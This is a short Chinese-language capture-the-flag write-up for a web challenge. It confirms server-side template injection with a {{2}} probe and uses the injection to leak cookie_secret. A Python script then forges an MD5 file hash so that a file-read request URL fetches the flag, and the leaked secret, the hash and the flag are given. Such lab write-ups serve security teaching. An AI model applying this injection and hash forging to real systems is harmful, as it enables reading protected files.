打开题目给出的网址,有三个文件,一个挨着一个看。对于第一个flag.txt,按照页面中示例的,可以知道flag在/flllllllllag目录中,并且页面需要填写filehash值,猜测一下为MD5值。
当我们直接在url后面添加/fllllllllllllag,时,网页跳转到下个页面,猜测是模板注入。
验证是否为模板注入,构建msg={{2}}
继续打开welcome.txt。
hints.txt:可以看到,页面需要的filehash(MD5)为cookie_secret+md5(filename)。
找出cookie_serect,在博客(模板注入STTI,获取cookie_secret - z9m8r8 - 博客园)介绍了如何通过模板注入找cookie_secret,其值为:58859efd-4f38-4239-937e-9ef640dfa405
按照上文的公式,编写python脚本(本文采用的版本为python3.9),得出想要的值。5035e7a9be96e3c9272ac976f174293e
import hashlib
from hashlib import md5
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '58859efd-4f38-4239-937e-9ef640dfa405'
print(md5(cookie_secret.encode("utf-8")+(md5(filename.encode("utf-8"))).encode("utf-8")))
if __name__ == '__main__':
filehash()
最终的payload为http://111.200.241.244:52837/file?filename=/fllllllllllllag&filehash=5035e7a9be96e3c9272ac976f174293e
?最终得出flag值flag{3f39aea39db345769397ae895edb9c70}
|